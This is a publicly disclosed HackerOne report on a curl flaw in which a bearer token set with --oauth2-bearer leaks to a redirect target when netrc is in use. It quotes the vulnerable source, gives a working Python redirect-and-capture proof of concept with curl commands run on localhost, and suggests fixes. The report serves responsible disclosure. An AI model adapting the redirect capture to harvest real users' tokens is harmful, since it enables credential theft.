HexBrain

curl · Report #3583983

CVE-2026-3783: token leak with redirect and netrc

Validstatus
mediumseverity
26upvotes
11 Mar 2026disclosed

How it was found

Summary

When --oauth2-bearer is used with --netrc and curl follows a redirect, the bearer token leaks to the redirect target. The netrc bypass at http.c:822 skips Curl_auth_allowed_to_host(), allowing the token through. This is an incomplete fix for CVE-2025-14524 — the Dec 2025 SASL fix patched curl_sasl.c but missed the HTTP bearer path.

This is an incomplete fix for the same vulnerability class as CVE-2025-14524. The Dec 2025 SASL bearer fix (commit 1a822275d3, PR #19933) patched lib/curl_sasl.c but left the HTTP bearer path at lib/http.c:704-714 unprotected.

Version

curl 8.10.1 (confirmed), also present in current master d9c2c64337. All versions supporting --oauth2-bearer with --netrc are affected.

The netrc bypass (lib/http.c:820-827):

  if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
     || conn->bits.netrc       // <-- bypasses host check entirely
#endif
    )
    result = output_auth_headers(data, conn, authhost, request, path, FALSE);

Bearer output with no host check (lib/http.c:704-714):

  if(authstatus->picked == CURLAUTH_BEARER) {
    if(!proxy && data->set.str[STRING_BEARER] &&
       !Curl_checkheaders(data, STRCONST("Authorization"))) {
      auth = "Bearer";
      result = http_output_bearer(data);
      // No Curl_auth_allowed_to_host() check here
    }
  }

Custom -H Authorization IS correctly protected (lib/http.c:1828-1833):

  if((curlx_str_casecompare(&name, "Authorization") ||
      curlx_str_casecompare(&name, "Cookie")) &&
     !Curl_auth_allowed_to_host(data))
    ;  // Stripped - note: NO netrc bypass in this path

Redirect path does NOT clear bearer (lib/http.c:1254-1257):

  if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    // STRING_BEARER is NOT cleared
    // authhost->picked is NOT reset
  }

SASL fix that missed the HTTP path (lib/curl_sasl.c:444-446, commit 1a822275d3):

  const char *oauth_bearer =
    (!data->state.this_is_a_follow || data->set.allow_auth_to_other_hosts) ?
    data->set.str[STRING_BEARER] : NULL;

Reproduction

Create a .netrc file with a default entry:

echo "default login testuser password testpass" > /tmp/test-netrc

Save as redirect_servers.py:

import socket, threading, time

def server_b(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', port)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    req = data.decode()
    leaked = "Authorization: Bearer" in req
    print(f"\n{'='*50}")
    print(f"SERVER B RECEIVED:")
    print(req)
    print(f"BEARER LEAKED: {leaked}")
    print(f"{'='*50}\n")
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    c.close(); s.close()

def server_a(port_a, port_b):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', port_a)); s.listen(1)
    c, _ = s.accept()
    data = b""
    while b"\r\n\r\n" not in data: data += c.recv(4096)
    c.sendall(f"HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:{port_b}/callback\r\nContent-Length: 0\r\nConnection: close\r\n\r\n".encode())
    c.close(); s.close()

threading.Thread(target=server_b, args=(8081,), daemon=True).start()
time.sleep(0.5)
server_a(8080, 8081)
import time; time.sleep(2)

Test 1 — Vulnerable (bearer leaks):

python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect

Result: Server B receives Authorization: Bearer SECRET_TOKEN. The token leaks to the redirect target.

Test 2 — Safe (custom -H header stripped correctly):

python3 redirect_servers.py &
sleep 2
curl -v -H "Authorization: Bearer SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect

Result: Server B does NOT receive the Authorization header. Custom -H headers are correctly stripped via http.c:1828-1833 which uses Curl_auth_allowed_to_host() WITHOUT the netrc bypass.

Test 3 — Safe (no netrc):

python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" -L http://127.0.0.1:8080/redirect

Result: Server B does NOT receive the bearer token. Without netrc, Curl_auth_allowed_to_host() correctly blocks the token.

The three-way comparison proves the netrc bypass at http.c:822 is the sole cause.

Suggested Fix

Option A — Add host check inside bearer output:

if(authstatus->picked == CURLAUTH_BEARER) {
  if(!proxy && data->set.str[STRING_BEARER] &&
     Curl_auth_allowed_to_host(data) &&  // ADD THIS
     !Curl_checkheaders(data, STRCONST("Authorization"))) {

Option B — Exclude bearer from the netrc bypass:

if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
   || (conn->bits.netrc && !(authhost->picked & CURLAUTH_BEARER))
#endif
  )

AI Disclosure

AI assisted with initial codebase navigation and identifying candidate code regions for review. All code path analysis, vulnerability confirmation, reproduction testing, and report writing were performed manually by the researcher. The reproduction steps above were executed against curl built from source and the output verified by hand.

Impact

A user who uses --oauth2-bearer with --netrc and follows redirects will have their OAuth2 bearer token sent to the redirect target host if that host matches a .netrc entry (including the default keyword, which matches all hosts).

The .netrc default keyword matches ALL hosts, meaning the token leaks to ANY redirect target. This is realistic for users who have default entries for FTP fallback credentials or CI/CD environments that use .netrc for package registry authentication.

This is the same vulnerability class as three existing CVEs:

CVEWhat leaksFix locationStatus
CVE-2025-14524Bearer via SASLcurl_sasl.c:444Fixed Dec 2025
CVE-2025-0167Netrc credsurl.cFixed
CVE-2024-11053Netrc credsurl.cFixed
This findingBearer via HTTP + netrchttp.c:822NOT FIXED

The Dec 2025 SASL fix (commit 1a822275d3) proves curl considers this class of bug CVE-worthy. The HTTP bearer path was simply missed during that fix.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original